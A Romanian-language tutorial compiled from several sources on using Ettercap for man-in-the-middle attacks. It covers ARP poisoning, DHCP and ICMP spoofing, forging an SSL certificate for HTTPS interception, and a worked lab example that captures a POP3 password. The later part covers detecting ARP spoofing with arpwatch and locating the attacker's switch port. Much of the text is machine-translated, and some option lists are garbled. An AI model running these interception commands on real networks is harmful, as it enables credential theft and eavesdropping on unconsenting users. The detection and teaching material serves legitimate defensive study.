Instrucțiuni pentru Ettercap: atac man-in-the-middle (MitM), interceptarea parolei, ocolire HSTS, înlocuire de date din mers, utilizarea filtrelor și pluginurilor personalizate, agățarea BeEF, infectarea ușilor din spate. Instrucțiuni Ettercap: Atacul Man-in-the-Middle (

Acasă / Laptop-uri

ettercap NG-0.7.3— Un sniffer/filtru de conținut multifuncțional pentru atacurile de la mijloc

opțiuni de adulmecare:

UNIFICAT— adulmecă toate pachetele care trec pe cablu. (ip_forwarding în kernel este întotdeauna dezactivat și redirecționarea se face de ettercap)

NB folosiți ettercap pe gateway-uri NUMAI cu MODUL NEOFFENSIV. nu uitați să reactivați ip_forwarding!!

PUNTEATE, folosește două interfețe de rețea și redirecționează traficul de la una la alta în timp ce efectuează sniffing și filtrarea conținutului.

NB Nu-l folosiți pe gateway-uri!!!

ettercap [OPȚIUNI] [ȚINTĂ 1] [ȚINTA2]

ŢINTĂ este în formă MAC/IP-uri/PORT-uri

de ex. „//80” înseamnă ORICE adresă Mac, ORICE IP și DOAR portul 80

NB inversează potrivirea ȚINTEI prin adăugarea opțiunii -R

Opțiuni

-M, --mitm Atacul MITM: arp(,) Această metodă implementează atacul de otrăvire ARP mitm. icmp(MAC/IP) Acest atac implementează redirecționarea ICMP. Trimite un mesaj de redirecționare icmp falsificat gazdelor din rețea pretinzând că este o rută mai bună pentru internet.

Exemplu: -M icmp:00:11:22:33:44:55/10.0.0.1 (va redirecționa toate conexiunile care trec prin acel gateway.)

dhcp(ip_pool/netmask/dns) Acest atac implementează falsificarea DHCP. Se preface a fi un server DHCP și încearcă să câștige condiția de cursă cu cea reală pentru a forța clientul să accepte răspunsul atacatorului.

M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1 (răspuns la oferta și cererea DHCP.)

M dhcp:/255.255.255.0/192.168.0.1 (răspundeți numai la cererea DHCP. (nu oferiți adresa IP, ci schimbați doar informațiile routerului din cererea/ack-ul dhcp)

NB Trebuie să specificați un pool IP de adrese GRATUITE care să fie utilizate.!!!

port(,) Acest atac implementează Port Stealing. Această tehnică este utilă pentru a adulmeca într-un mediu comutat când intoxicarea ARP nu este eficientă NB: Folosiți această metodă mitm numai pe comutatoarele Ethernet NB NU puteți utiliza această metodă în modul only-mitm -o, --doar-mitm(un alt sniffer pentru a adulmeca traficul) -f, --pcapfilter Setați un filtru de captare în biblioteca pcap NB ettercap nu va putea redirecționa pachetele deturnate. -B, --pod Sniffing BRIDGED (om la mijloc la stratul fizic. Este total ascuns) SNIFFING OFF LINE -r, --citire -w, --scrie OPȚIUNI DE INTERFEȚE UTILIZATOR -T, -text -q, -linişti -s, --script

ettercap -T -s ‘lq’ va tipări lista gazdelor și va ieși
ettercap -T -s ‘ s(300)olqq’ va colecta informațiile timp de 5 minute, imprimați

lista profilurilor locale și ieșire

-C, --cursuri -G, --gtk -D, --daemonize OPTIUNI GENERALE -i, —iface -Eu, --iflist Această opțiune va imprima lista tuturor interfețelor de rețea disponibile -n, --mască de rețea -R, --inversat -t, --proto Mirosește numai pachetele PROTO (PROTO poate fi „tcp”, „udp” sau „all” pentru ambele) -z, -tăcut Nu efectuați scanarea ARP inițială -p, --nopromisc( Dacă vrei să adulmeci doar conexiunile tale )
-u, --neofensiv( responsabilitatea redirecționării ip este lăsată în seama nucleului. ) NB util dacă doriți să rulați mai multe instanțe ettercap. NB nu va putea modifica pachetele din mers NB util dacă doriți să rulați ettercap pe gateway, -j --load-hosts, -k --salvare-gazde, -P --plugin, -F --filtra, -W (--cheie-wep ) pentru a decripta pachetele WiFi.
N:T:CHEIE. Unde N este lungimea de biți a cheii wep (64, 128 sau 256), T este tipul șirului („s” pentru șir și „p” pentru frază de acces).
exemplu:
--wep-key 128:p:secret --wep-key 128:s:ettercapwep0, —wep-key '64:s:\x01\x02\x03\x04\x05′ -o --config, OPȚIUNI DE VIZUALIZARE -e --regex, (Tratați numai pachetele care se potrivesc cu expresia regex.) (-V-vizualhexascii,textebcdic,) html,, utf8-d --dns, Rezolvați adresele IP în nume de gazdă.-E --anteturi ext, Tipăriți anteturi extinse-Q ) --superliniștit( Nu tipăriți utilizatorii și parolele pe măsură ce acestea sunt colectate. Stocați-le doar în profiluri., OPȚIUNI DE Jurnal -L --log Înregistrați toate pachetele în fișiere binare. Aceste fișiere pot fi analizate de etterlog N.B., creați LOGFILE.ecp (pentru pachete) și LOGFILE.eci (pentru informații). -l --log-info, înregistrează doar informații pasive + utilizatori și parole pentru fiecare gazdă. Fișierul va fi numit LOGFILE.eci -m --log-msg Se stochează în, toate mesajele utilizatorului tipărite de ettercap.-c -o, --comprima Comprimați fișierul jurnal cu algoritmul gzip --doar-local, Stochează informații despre profiluri aparținând numai gazdelor LAN. -O --doar-telecomanda, OPȚIUNI STANDARD

-U

--actualizare Exemple ettercap -Tp Utilizați interfața consolei și nu puneți interfața în modul promisc. Veți vedea doar traficul dvs. ettercap -Tzq Va încărca lista de gazde din /tmp/victims și va efectua un atac de otrăvire ARP împotriva celor două ținte. Lista va fi unită cu ținta și lista rezultată este folosită pentru otrăvirea ARP. ettercap -T -M arp // // Efectuați atacul de otrăvire ARP împotriva tuturor gazdelor din LAN. ATENȚIE!! ettercap -T -M arp:la distanță /192.168.1.1/ /192.168.1.2-10/ Efectuați otrăvirea ARP împotriva gateway-ului și a gazdei în rețea între 2 și 10. Opțiunea „la distanță” este necesară pentru a putea mirosi traficul de la distanță pe care gazdele îl fac prin gateway. ettercap -Tzq //110 Mirosiți numai protocolul pop3 de la fiecare gazdă. ettercap -Tzq /10.0.0.1/21,22,23 Mirosește conexiunile telnet, ftp și ssh la 10.0.0.1. ettercap -P listă Printuri

lista tuturor pluginurilor disponibile

Ssl Mit Attack

Pentru a regenera fișierul de certificare:

openssl genrsa -out etter.ssl.crt 1024
openssl req -new -key etter.ssl.crt -out tmp.csr
openssl x509 -req -days 1825 -in tmp.csr -signkey etter.ssl.crt -out tmp.new
cat tmp.new >> etter.ssl.crt
rm -f tmp.new tmp.csr

0) conectați-vă la rețea:)
1.1) cd /tmp
1) #ettercap -G [ --wep-key 128:p:secret]
2) Sniff -> Sniffing unificat (NIC ath0)
3) Start->Start sniffing
4) Gazde -> Scanează pentru gazde
5) Gazde -> Lista gazde
6) alegeți și adăugați la target1 și target2
7) Mitm -> arp otravire; adulmecă conexiunea de la distanță
8) Înregistrare -> Înregistrați toate pachetele și informațiile
9) Mitm -> Stop mitm atac
10) Start -> Opriți adulmecarea

ettercap înlocuiește certificatul ssl real cu propriul certificat

Acest articol vă va spune cum să interceptați traficul retea locala folosind Ettercap. Folosind atacuri MITM pentru aceasta (Man In Mijlocul atacuri – atacuri man-in-the-middle).

– utilitar de analiză de securitate open source rețele de calculatoare. Principalul scop este atacurile MITM (Man In The Middle attacks). Are capacitatea de a detecta conexiunile live, de a filtra conținutul din mers, precum și multe altele oportunități interesante. Suportă atât atacuri active, cât și pasive de protocol și include un număr mare de funcții de analiză a rețelei și gazdei.

Mai mult informatii detaliate, poate fi găsit la

Instalarea/Configurarea Ettercap

Puteți descărca și instala Ettercap din sursă - . Ca alternativă, puteți utiliza următoarea comandă:

# apt-get install ettercap-gtk ettercap-common

Găsim aceste rânduri în el și le decomentăm:

# dacă utilizați iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING - i %iface -p tcp --dport %port -j REDIRECT --la-port %rport"

# dacă folosești iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

După ce toate operațiunile de mai sus au fost finalizate, lansați Ettercap. Cu toate acestea, pentru unii oameni, inclusiv pentru mine, Ettercap nu va funcționa. Erori precum „ TRIMITE EROARE L3„. Pentru a preveni apariția unor astfel de erori, utilizați următoarea comandă:

# echo "1" > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 1

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

Acum totul ar trebui să funcționeze bine și nu ar trebui să apară erori.

Intoxicatia cu ARP

S-a descris anterior ce este „“ și de ce este necesar. De asemenea, va fi descris aici cum să-l implementați folosind Ettercap.

Mai întâi, uitați-vă la arhitectura rețelei (vezi figura de mai jos) care va fi utilizată. Acest lucru este necesar pentru a înțelege bine ce vine de unde:

Lansați Ettercap:

O fereastră de aplicație va apărea în fața noastră, după cum se arată mai jos:

Faceți clic pe butonul Mirosi-> Adulmecare unificată. După aceea, selectați interfața care este utilizată. Am asta eth0:

În meniul de sus, apăsați butoanele GazdeScanați pentru gazde:

Acum să facem clic din nou GazdeLista gazdelor. Va apărea o fereastră așa cum se arată în figura de mai jos:

Aici trebuie să selectăm obiective, de ex. selectați o mașină care va acționa ca o „victimă” și o poartă de acces. După cum se poate observa din arhitectura rețelei pe care o folosim, „victima” este o mașină cu Adresa IP = 192.168.1.3. Ei bine, ca o poartă de acces Adresa IP = 192.168.1.1. Prin urmare, selectați 192.168.1.3 și apăsați butonul Adăugați la ținta 1. Acum faceți clic pe 192.168.1.1 și apăsați butonul Adăugați la ținta 2.

Clic Bine. Rămâne doar să-l lansăm. Pentru a face acest lucru, faceți clic pe butonul ÎnceputÎncepe să adulmeci.

A început adulmecarea. Tot ce rămâne este să așteptați până când utilizatorul își introduce datele, de exemplu din contul său de e-mail.

Programul a fost conceput ca un analizor de trafic pentru rețele LAN comutate, dar cu timpul s-a transformat într-un instrument universal pentru interceptarea, analizarea și înregistrarea pachetelor de rețea. Poate funcționa în rețele cu switch-uri și hub-uri și are multe proprietăți neobișnuite. În special, acceptă atât analiza activă, cât și pasivă a unui număr mare de protocoale de rețea, inclusiv cele care folosesc criptarea. Există instrumente pentru analiza topologiei rețelei și identificarea sistemelor de operare instalate.

Pentru a-și atinge obiectivele, Ettercap folosește 5 diverse metode analiză: filtrare IP și MAC, interceptare ARP și două variante ale acestuia din urmă - Smart-ARP și Public-ARP.

În modul de filtrare IP, pachetele sunt verificate pentru a se potrivi cu combinația de adresă IP/port (expeditor și destinatar). În modul de filtrare MAC, adresele MAC ale expeditorului și destinatarului sunt verificate (acest lucru este convenabil când se stabilesc conexiuni printr-un gateway). În modul de deturnare ARP, un atac „invizibil om-in-the-middle” este efectuat pe două noduri selectate ale rețelei comutate. Acest lucru se realizează prin coruperea deliberată a memoriei cache ARP a gazdelor, determinând ca traficul să fie redirecționat automat. Modurile Smart-ARP și Public-ARP sunt implementate într-un mod similar, dar scopul lor este de a intercepta traficul dintre nodul victimă și toate celelalte noduri. În primul caz, este specificată o listă de gazde, în al doilea, programul trimite pachete ARP difuzate.

Caracteristicile programului:

  • poate modifica pachetele care trec (în ambele direcții);
  • poate analiza conexiunile protocoalelor SSH1 și HTTPS (chiar dacă conexiunea este stabilită printr-un server proxy);
  • poate conecta module externe;
  • poate decripta nume de utilizator și parole pentru un număr mare de protocoale de rețea (inclusiv Telnet, FTP, POP, SSH1, SMB, LDAP, NFS, IMAP4, VNC și multe altele);
  • poate adăuga și elimina pachete într-o sesiune;
  • poate scana pasiv rețeaua (fără a trimite pachete) și poate distruge conexiunile.

Programul nu necesită configurare inițială. Puteți seta toate opțiunile necesare în linie de comandă sau conectați un fișier de configurare extern.

Când este lansat, programul trimite o solicitare ARP pentru fiecare adresă IP din rețeaua locală. Lista de adrese IP posibile este determinată prin analiza propriei adrese și măști, iar la primirea răspunsurilor ARP se creează o listă de gazde care operează în rețea. Ar trebui să fiți atenți dacă masca de rețea specifică o rețea de clasă B (255.255.0.0), deoarece în acest caz programul va fi forțat să trimită 65025 de solicitări. Va dura mult timp pentru a le procesa și, în plus, o astfel de activitate poate fi detectată rapid.

Programul poate fi utilizat în două moduri: interactiv (grafic) și non-interactiv. Interfața grafică a programului se bazează pe biblioteca ncurses. Modul non-interactiv este util dacă programul este apelat dintr-un script pentru a colecta date în fundal.

Sintaxa pentru apelarea programului este:

# ettercap [ opțiuni][IP-destinatie:port][IP-sender:port][Destinatar MAC][Expeditorul MAC]

Opțiuni pentru selectarea unei metode de analiză:

-a, --arpsniff Interceptarea ARP

-s, --snif filtrare IP

-m, --macsniff filtrare MAC

Opțiuni de uz general:

-N, --simplu- mod non-interactiv.

-z, --tăcut— modul „silențios” (fără solicitări ARP masive la pornire).

-Oh, --pasiv— colectarea pasivă de informații.

-b, --lărgire— utilizarea cererilor ping de difuzare în loc de solicitări ARP.

-D, --întârziere<secunde> — setează întârzierea (în secunde) dintre două răspunsuri ARP.

-Z, --stormdelay<microsecunde> — setează întârzierea (în microsecunde) dintre solicitările ARP în timpul „intruziunii” inițiale în rețea.

-S, --falsă<IPodpec> — specifică o adresă IP falsă utilizată la scanarea rețelei.

-H, --gazde<IP-aadresa1 [,IP-adpec2] . . .> — specifică nodurile scanate la pornire.

-d, --dontresolve- nu convertiți adresele IP în nume de domenii la pornire.

-i, --iface<interfata> — setează interfața pentru scanare.

-n, --mască de rețea<masca> — setează o mască care definește rețeaua de scanat.

-e, --etterconf<fişier> — specifică fișierul de configurare din care sunt citite opțiunile liniei de comandă.

-t, --linktype— forțează programul să verifice dacă există un comutator în rețea.

-j, --loadhosts<fişier> — specifică fișierul din care este încărcată lista de noduri.

-k, --savehosts— salvarea listei de noduri într-un fișier.

-v, --versiunea- determină programul să verifice dacă există o versiune actualizată a Ettercap.

-h, --ajutor— ieșirea ajutorului de sintaxă.

Opțiuni pentru modul silențios:

-u, --udp— interceptați numai pachete UDP.

-R, --invers— analiza tuturor conexiunilor cu excepția celei specificate pe linia de comandă.

-Oh, --pasiv— modul de scanare pasivă.

-р, --plugin<modul> — lansarea unui modul plug-in extern.

-l, --lista— obținerea unei liste cu toate nodurile rețelei locale.

-C, --strânge— obținerea unei liste cu toate conturile și parolele gazdă specificate pe linia de comandă.

-f, --amprentă<nodul> - analiza tipului sistem de operare pentru un nod dat.

-x,—vizualizare hexagonală— afișarea datelor în format hexazecimal.

-L, --logtofile— scrierea datelor într-un fișier jurnal.

-q, --liniște— alergați în fundal.

-w, --newcert- Crearea unui nou fișier de certificat pentru atacurile ignoranți de tip man-in-the-middle asupra sesiunilor HTTPS.

-F, --filtru<fişier> — încărcarea regulilor de filtrare din fișierul specificat.

-с, --verifică- determină programul să verifice dacă altcineva încearcă să-și intercepteze propriul trafic.

Când apelați un program fără opțiuni (mai precis, fără opțiunea -N), acesta rulează în modul interactiv. Fereastra programului este împărțită în trei părți. O diagramă de conexiune care arată cele două noduri care interacționează este afișată în partea de sus (această parte a ferestrei poate fi inițial goală). Partea din mijloc a ferestrei conține o listă de noduri găsite în rețeaua locală. Mai exact, sunt afișate două liste identice din care puteți selecta două noduri pentru a crea o diagramă de conexiune. Pentru a selecta un nod în coloana din stânga, mutați cursorul pe acesta și faceți clic . Apoi faceți clic<Таb>pentru a vă deplasa în coloana din dreapta și repetați procedura. Ca rezultat, o diagramă de conectare va apărea în partea de sus a ferestrei și va fi afișată o listă de conexiuni instalate în partea din mijloc. în acest momentîntre două noduri, indicând porturile sursă și destinație, așa cum se vede în figura de mai jos.

Se afișează partea de jos a ferestrei Informații suplimentare despre nodurile selectate. Pentru o listă de comenzi disponibile, faceți clic , provocând apariția unei ferestre de ajutor.0

Odată ce conexiunea este sub control, puteți începe să analizați datele. Este permis să direcționați datele interceptate către un fișier, să interferați cu sesiunea și să efectuați multe alte sarcini, inclusiv distrugerea sesiunii.

Iată o serie de exemple care demonstrează caracteristicile lansării programului Ettercap. În primul exemplu, programul rulează interactiv și colectează date pasiv.

Falsificarea ARP(ARP-poisoning) este o tehnică de atac de rețea folosită în primul rând în Ethernet, dar posibilă și în alte rețele folosind protocolul ARP, bazată pe utilizarea deficiențelor protocolului ARP și care permite interceptarea traficului între nodurile care se află în cadrul aceleiași transmisii. domeniu.

Articolul descrie în detaliu tehnica atacului Falsificarea ARP, folosind exemplul unui atac efectuat folosind programul ettercap; sunt luate în considerare metode pentru detectarea și prevenirea atacurilor ARP, cum ar fi monitorizarea activității ARP folosind arpwatch, aplicarea de patch-uri speciale pentru a face sistemele imune, folosind VLAN-uri și PPPoE. Este prezentat modul de rezolvare a problemelor legate direct de protocolul ARP: căutarea computerelor folosind o adresă MAC cunoscută și descoperirea de noi computere în rețea.

Protocolul ARP și atacurile care îl folosesc

Ce este ARP și de ce este necesar?

Protocolul ARP este conceput pentru a converti adresele IP în adrese MAC. Cel mai adesea vorbim de conversie la adrese Ethernet, dar ARP este folosit și în rețelele altor tehnologii: Token Ring, FDDI și altele.

Algoritmul ARP

Protocolul poate fi utilizat în următoarele cazuri:

  1. Gazda A dorește să trimită un pachet IP nodul B, situat în aceeași rețea cu el;
  2. Gazda A dorește să trimită un pachet IP nodul B, care este cu el în rețele diferite, și utilizează serviciile pentru aceasta routerul R.

În oricare dintre aceste cazuri nodul A Protocolul ARP va fi folosit, doar în primul caz pentru a determina adresa MAC nodul B, iar în al doilea - pentru a determina adresa MAC routerul R. În acest din urmă caz, pachetul va fi transferat către router pentru retransmitere ulterioară.

Mai jos, pentru simplitate, luăm în considerare primul caz, când se face schimb de informații între noduri situate direct în aceeași rețea. (Cazul în care pachetul este adresat unei gazde situate în spatele routerului diferă doar prin aceea că, în pachetele transmise după finalizarea traducerii ARP, se folosește adresa IP a destinatarului, dar adresa MAC a routerului, nu a destinatarului.)

Probleme ARP

Protocolul ARP este complet nesigur. Nu are niciun mijloc de verificare a autenticității pachetelor, fie cereri, fie răspunsuri. Situația devine și mai complexă atunci când ARP-ul gratuit poate fi utilizat.

ARP spontan- acesta este comportamentul ARP atunci când un răspuns ARP este trimis atunci când nu este nevoie anume de el (din punctul de vedere al destinatarului). Un răspuns ARP spontan este un pachet de răspuns ARP trimis fără o solicitare. Este folosit pentru a detecta conflicte de adrese IP într-o rețea: de îndată ce o stație primește o adresă prin DHCP sau o adresă este atribuită manual, este trimis un răspuns ARP gratuit.

ARP spontan poate fi util în următoarele cazuri:

  • Actualizarea tabelelor ARP, în special în sistemele de cluster;
  • Comutatoare de informare;
  • Notificare că interfața de rețea este activată.

Deși ARP spontan este eficient, este deosebit de nesigur deoarece poate convinge o gazdă la distanță că adresa MAC a unui sistem din aceeași rețea s-a schimbat și indică ce adresă este acum utilizată.

Falsificarea ARP

Înainte de a efectua falsificarea ARPîn tabelul ARP noduri OŞi B există intrări cu adresele IP și MAC ale celuilalt. Schimbul de informații este direct între nodurile A și B. (săgeată verde)

În timpul falsificării ARP calculator C, efectuând atacul, trimite răspunsuri ARP (fără a primi solicitări):

  • nodul O: cu adresa IP a gazdei Bși adresa MAC a gazdei C;
  • nodul B: cu adresa IP a gazdei Oși adresa MAC a gazdei C.

Deoarece computerele acceptă ARP gratuit, își modifică propriile tabele ARP și plasează intrări acolo unde în loc de adresele MAC reale ale computerelor. OŞi B este adresa MAC a computerului C. (săgeți roșii)

După ce atacul este finalizat când computerul O dorește să trimită un pachet către computer B, el găsește o intrare în tabelul ARP (corespunde computerului C) și determină adresa MAC a destinatarului din acesta. Un pachet trimis la această adresă MAC ajunge la computer Cîn locul destinatarului. Calculator C apoi transmite pachetul oricui îi este cu adevărat destinat - adică. calculator B. (săgeți albastre)

Instrumente pentru efectuarea de falsificare ARP

În prezent, există mai multe instrumente pentru efectuarea de falsificare ARP, care rulează atât pe sistemul de operare Linux, cât și pe Windows.

Cele mai faimoase:

  • Ettercap
  • Cain și Abel
  • adulmecă
  • arp-sk

Toate programele numite sunt distribuite gratuit.

Efectuarea de falsificare ARP folosind ettercap

[Exemplu de efectuare a unui atac folosind ettercap.] Să ne uităm la cum să efectuăm atacul de mai sus folosind ettercap.

  • Ce se întâmplă pe mașina A.
  • Ce se întâmplă pe mașina B.
  • Ce se întâmplă pe mașina C.

Să aruncăm o privire mai atentă asupra modului în care este efectuată ARP-spoofing. Vom folosi programul ettercap ca instrument, dar alte instrumente pentru efectuarea de falsificare ARP funcționează într-un mod similar.

  • Mașină A - hostA - 192.168.15.201 - 00:04:75:75:46:B1
  • Mașină B - gazdăB - 192.168.15.254 - 00:0A:01:D4:D1:39
  • Mașină C - gazdăC - 192.168.15.200 - 00:0A:01:D4:D1:E3

Efectuează atacul gazdăCîmpotriva nodurilor gazdăAŞi gazdăB.

Instalați ettercap folosind metoda acceptată în sistem:
hostC%# apt-get install ettercap
Efectuați un atac împotriva hostA și hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Opțiuni înseamnă:

  • -T - foloseste interfata text (consola);
  • -M arp - utilizați modulul ARP-spoofing pentru a efectua un atac;
  • -L log - scrieți jurnalul de interceptare în fișierele numite log.*;

Adresele IP ale mașinilor împotriva cărora ar trebui să fie efectuat atacul de falsificare ARP sunt specificate ca argumente.

Să fie, de exemplu, în acest moment nodul A acces nodul B folosind protocolul POP3, un exemplu clasic de protocol nesigur, dar foarte comun - verificați e-mailul.

gazdăA %# nc 192.168.15.254 110
utilizator USER
+OK
PASS parola
+OK
LISTĂ
+OK
.

Datele transmise între client hostA și server hostB trec prin nodul C. Sunt afișate pe ecran și scrise în fișiere. După ce atacul este finalizat, trebuie să apăsați pe q pentru a ieși din ettercap. Programul trimite pachete ARP pentru a restaura intrările vechi din memoria cache ARP a nodurilor, astfel încât acestea să comunice direct între ele. În directorul curent ar trebui să apară două fișiere, începând cu cuvântul specificat după comutatorul -L la apelare ettercap:

%# jurnal.*
log.eci
log.ecp

Puteți vizualiza conținutul acestora folosind programul etterlog inclus în pachetul ettercap:

%# etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Versiunea fișierului jurnal: NG-0.7.3
Marca temporală: joi, 21 iunie 12:23:11 2007
Tip: LOG_INFO
1698 tcp OS amprentă
7587 amprenta furnizorului de mac
2183 servicii cunoscute

Adresa IP: 192.168.15.201
Adresă MAC: 00:04:75:75:46:B1
...
PRODUCĂTOR: Sohoware
DISTANTA: 0
TIP: gazdă LAN
Amprenta:
SISTEM DE OPERARE: NECUNOSCUT
PORT: TCP 110 | pop-3
CONT: utilizator
/parolă
(192.168.15.201)
==================================================

După cum puteți vedea, parola a fost interceptată cu succes. Să vedem cum se modifică tabelul ARP pe hostA (nodul atacat)

Înainte de atac.

hostA%# arp -an

În timpul atacului.

hostA%# arp -an
? (192.168.15.254) la 00:0A:01:D4:D1:E3 pe eth0
? (192.168.15.200) la 00:0A:01:D4:D1:E3 pe eth0

După atac.

hostA%# arp -an
? (192.168.15.254) la 00:0A:01:D4:D1:39 pe eth0
? (192.168.15.200) la 00:0A:01:D4:D1:E3 pe eth0

Dacă te uiți la ce se întâmplă pe interfața eth0 a hostA (prin care se efectuează atacul), poți vedea că de îndată ce atacul începe, pe interfață ajung pachete ARP, care indică că adresa MAC a mașinii 192.168.15.254 s-a schimbat. Pachetele sosesc constant. Când atacul este finalizat, adresa MAC din pachet se schimbă brusc cu alta. Și apoi nu mai vin cu totul.

%# tcpdump -i eth0 arp
08:34:20.231680 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:e3 (oui Necunoscut)
08:34:21.259637 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:e3 (oui Necunoscut)
08:34:22.287591 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:e3 (oui Necunoscut)
08:34:23.315522 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:e3 (oui Necunoscut)
08:34:32.463255 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:39 (oui Necunoscut)
08:34:33.491040 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:39 (oui Necunoscut)
08:34:34.514988 arp răspuns 192.168.15.254 este la 00:0a:01:d4:d1:39 (oui Necunoscut)

Această tehnică asigură că tabelul ARP de pe victime va fi restaurat și nimeni nu va observa atacul.

Metode de detectare

arpwatch

Programul arpwatch monitorizează toată activitatea ARP pe interfețele specificate. Când observă anomalii, cum ar fi o modificare a adresei MAC în timp ce menține o adresă IP sau invers, o raportează la syslog.

Instalare și configurare arpwatch

Să ne uităm la procedura de instalare și configurare pentru arpwatch folosind un exemplu. sisteme Debian GNU/Linux. Instalarea arpwatch se realizează în mod tradițional pentru distribuție:

% # apt-get install arpwatch
0 actualizat, 1 nou instalat, 0 de eliminat și 0 neactualizat.
Trebuie să obțineți 124 kB de arhive.
După despachetare, se vor folosi 389 kB de spațiu suplimentar pe disc.
Obțineți:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
Preluat 124 kB în 0 secunde (177 kB/s)
Se selectează pachetul arpwatch deselectat anterior.
(Se citesc baza de date... 22406 fișiere și directoare instalate în prezent.)
Se despachetează arpwatch (din .../arpwatch_2.1a13-2_i386.deb)...
Se configurează arpwatch (2.1a13-2)...
Pornirea demonului de monitorizare a stației Ethernet/FDDI: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

După ce demonul este instalat, acesta va începe automat să ruleze. (Pe alte sisteme, poate fi necesar să fie pornit manual.)

%# ps aux | grep arpwatch
arpwatch 4810 0,5 0,4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 4827 0,0 0,1 2852 712 puncte/6 R+ 08:36 0:00 grep arpwatch

Daemonul nu are niciun fișier de configurare. Configurația arpwatch este în întregime determinată de setul de chei transmise acestuia. Pe Debian GNU/Linux, cheile sunt specificate în fișierul de configurare /etc/default/arpwatch (pe FreeBSD - în fișierul /etc/rc.conf). Dacă trebuie să modificați configurația arpwatch (în special, să îl faceți să asculte alte interfețe), trebuie să editați fișierul specificat:

%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch
# Opțiuni globale pentru arpwatch(8).
# Debian: nu raportați bogonuri, nu folosiți PROMISC.
ARGS="-N -p"
# Debian: rulați ca utilizator „arpwatch”. Goliți-l pentru a rula ca root.
RUNAS="arpwatch"

Dacă configurația a fost modificată, demonul trebuie repornit:

%# /etc/init.d/arpwatch restart

Când demonul pornește, descoperă noi stații. Nu este efectuată nicio acțiune activă - doar ascultați traficul ARP. Nodurile detectate sunt memorate; arpwatch raportează că un nou nod a fost descoperit în syslog. Demonul raportează, de asemenea, toate anomaliile pe care le detectează în funcționarea protocolului ARP în syslog:

# coada -f /var/log/daemon.log
21 iunie 08:37:08 s_all@linux2 arpwatch: stație nouă 192.168.15.200 0:a:1:d4:d1:e3 eth0
21 iunie 08:37:08 s_all@linux2 arpwatch: stație nouă 192.168.15.201 0:4:75:75:46:b1 eth0
21 iunie 08:37:09 s_all@linux2 arpwatch: stație nouă 192.168.15.254 0:a:1:d4:d1:39 eth0
21 iunie 08:37:09 s_all@linux2 arpwatch: adresa ethernet schimbată 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 iunie 08:37:11 s_all@linux2 arpwatch: nepotrivire ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 iunie 08:37:12 s_all@linux2 arpwatch: nepotrivire ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
21 iunie 08:37:13 s_all@linux2 arpwatch: nepotrivire ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Atenție la linie

21 iunie 08:37:09 s_all@linux2 arpwatch: adresa ethernet schimbată 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

care raportează că gazda 192.168.15.254 și-a schimbat adresa MAC.

Acest lucru înseamnă probabil că gazda care rulează arpwatch este falsificată ARP pentru a intercepta traficul pe care îl schimbă cu gazda 192.168.15.254.

Detectarea unei gazde care efectuează spoofing ARP

Dacă comutatorul este gestionat, puteți determina care dintre porturile sale execută un nod care are o anumită adresă MAC.

De exemplu, acest lucru se poate face folosind scriptul mac2port. Scriptul contactează comutatorul prin SNMP și interogează tabelul său de mapări de adrese MAC la porturi. Informațiile primite sunt transmise într-o formă ușor de căutat în fluxul de ieșire standard. Pentru a fi mai ușor de utilizat, scriptul afișează adrese MAC în același format ca și arpwatch.

Condiții de utilizare a scriptului:

  • scriptul trebuie plasat în directorul /usr/local/bin sau în alt director specificat în PATH;
  • scriptul trebuie să fie executabil (chown +x mac2port) sau apelat cu interpretul perl;
  • corpul scriptului trebuie să indice adresa IP a comutatorului și comunitatea sa SNMP RO;
  • comutatorul trebuie să accepte SNMP versiunea 2; suportul trebuie să fie activat (nu este dificil să rescrieți scriptul pe protocolul SNMPv3 mai sigur, dar această versiune funcționează în mod special cu SNMPv2).

Exemplu de utilizare a scriptului:
%# ./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44

Dacă un atac a fost detectat anterior folosind arpwatch:

%# cat /var/log/daemon.log | grep „adresă ethernet schimbată”
21 iunie 08:37:09 s_all@linux2/192.168.15.201 arpwatch: adresa ethernet schimbată 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

puteți utiliza scriptul și puteți determina din ce port de comutare a fost făcut (nu contează dacă aceasta este adresa MAC adevărată a plăcii de rețea a atacatorului sau dacă a fost schimbată):

%# mac=$(cat /var/log/daemon.log | grep „adresă Ethernet schimbată” | awk „(printați $10)”)
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 -> 2

Este important ca determinarea să se facă rapid, în timp ce informațiile despre atacator sunt încă stocate în memoria switch-ului.

Pentru a face acest lucru, este logic să apelați automat scriptul de căutare atunci când o intrare corespunzătoare este detectată în jurnalul de sistem. Analiza jurnalului poate fi efectuată, de exemplu, folosind instrumente precum eșantion sau syslog-ng.

